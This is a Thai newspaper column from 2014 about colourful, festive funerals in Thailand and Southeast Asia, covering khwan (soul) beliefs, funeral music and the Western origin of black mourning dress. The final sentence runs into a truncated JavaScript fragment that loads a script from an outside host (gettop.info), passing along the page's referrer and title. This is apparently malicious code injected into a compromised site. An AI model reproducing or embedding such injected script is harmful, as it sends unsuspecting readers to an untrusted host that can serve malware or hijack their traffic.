มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 14 สิงหาคม  2557

 

สีสันงานศพไทยและอุษาคเนย์

หน้าศพ – คณะลิเกที่ลูกๆจัดมาแสดงหน้างานศพของ นางอุไร บุญกัลยา อายุ 70 ปี นอกจากนั้นยังตั้งเวทีรำวงให้ผู้มาร่วมงานได้สนุกสนานกัน ตามคำสั่งเสียของแม่ ที่วัดห้วยกรุ ต. บางพระ อ. ศรีราชา จ. ชลบุรี (ข่าวสด ฉบับวันจันทร์ที่ 4 สิงหาคม 2557 หน้า 1)

          รายงานในข่าวสด บอกว่า “รำวง-เล่นลิเกหน้างานศพแม่เฒ่า กลางวัดศรีราชา ชลบุรี สร้างความประหลาดใจกับแขกมาร่วมงาน ลูกชายเผยแม่เป็นคนชอบดูลิเกและรำวงเป็นชีวิตจิตใจ ก่อนตายสั่งเสียให้จ้างนางรำ-ลิเกมาแสดงหน้าโลงศพ เหตุไม่อยากให้ลูกหลาน- คนมาร่วมงานโศกเศร้า ชี้หลังพระสวดอภิธรรมเสร็จ คนที่มาร่วมงานต่างร่วมเวทีรำวงกันอย่างสนุกสนาน เป็นเวลา 5 วัน 5 คืน”

          พิธีศพของคนในภูมิภาคอุษาคเนย์ อาจนับเป็นพิธีศพยาวนานหลายวันที่สุดในโลกก็ได้ ที่สนุกสนานรื่นเริงด้วยการร้องรำทำเพลงเพื่อเรียกขวัญที่หายไปให้กลับคืนร่างเดิม

          เพราะเชื่อว่าคนที่นอนนิ่งอยู่นั้นขวัญหายหรือขวัญหนีไปชั่วคราว อีกไม่นานจะกลับมาคืนร่างเดิมเป็นปกติ

          จึงมีภาพเขียนสีบนผนังถ้ำหรือบนเพิงผา มีอายุราว 2,500 ปีมาแล้ว เป็นขบวนแห่  ตีฆ้องกลองและกระบอกไม้ไผ่เนื่องในงานศพ ซึ่งต้องเริ่มด้วยทำขวัญ มีเลี้ยงผี

          เครื่องดนตรีงานศพอย่างนี้จะมีพัฒนาการต่อไปข้างหน้าเป็นเครื่องประโคมเป่าปี่ตีฆ้องกลองงานศพ เรียกวงปี่พาทย์ เป็นลักษณะเฉพาะของอุษาคเนย์ที่ใช้งานพิธีกรรมสำคัญอื่นๆ ด้วย เช่น โขนละคร, ทำบุญทั่วไป

          งานศพผู้ดีมีตระกูลทุกวันนี้ บางทียังมีโขนหน้าไฟชุดสั้นๆเล่นก่อนเผาศพบนเมรุด้วยซ้ำ

          คนตาย ขวัญไม่ตาย คนตายในความเข้าใจของคนเมื่อหลายพันหลายหมื่นปีมาแล้วไม่น่าจะมีและเป็นอย่างเดียวกับปัจจุบัน

          คนแต่ก่อนเชื่อว่าแม้เจ้าของขวัญจะตายไปแล้ว แต่ขวัญยังไม่ตาย เพราะขวัญของผู้ตายจะไปรวมพลังกับขวัญบรรพชนคนก่อนๆ (ที่ฝังอยู่ลานกลางบ้านหรือใต้ถุนเรือนบริเวณเดียวกัน) เพื่อปกป้องคุ้มครองชุมชนและเผ่าพันธุ์ พร้อมทั้งบันดาลความอุดมสมบูรณ์

          แต่บ้างก็เชื่อว่าคนที่นอนนิ่งอยู่นั้น ขวัญหายไปชั่วคราว และขณะนั้นขวัญกำลังหาหนทางกลับเหย้าเรือนเดิมและร่างเดิมของตนไม่วันใดก็วันหนึ่ง

          ด้วยความเชื่ออย่างนี้เอง งานศพในไทยสมัยก่อนๆ จึงสนุกสนานรื่นเริงต่อเนื่องหลายวัน (ไม่มีเศร้าโศก) เพื่อรอขวัญคืนร่างเดิม ขณะเดียวกันก็เท่ากับส่งเสียงให้ขวัญรู้ทางกลับ

          งานศพเศร้าโศก ต้องแต่งชุดดำไว้ทุกข์ เป็นประเพณีฝรั่งจากตะวันตก เริ่มรับเข้ามาปฏิบัติยุค ร.5

          งานศพดั้งเดิมของไทยต้องแต่งชุดสีสันสวยงามเหมือนไปงานมงคลรื่นเริงทั้งหลาย

          เมื่อยังเป็นเด็กบ้านนอกอยู่ดงศรีมหาโพธิ์ จ. ปราจีนบุรี ผมไม่เคยเห็นใครแต่งชุดดำไปงานศพ เพราะไม่มีและไม่รู้จักประเพณีอย่างนั้น จึงไม่มีชุดดำงานศพ มีแต่ชุดดำทำนาif (document.currentScript) { s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;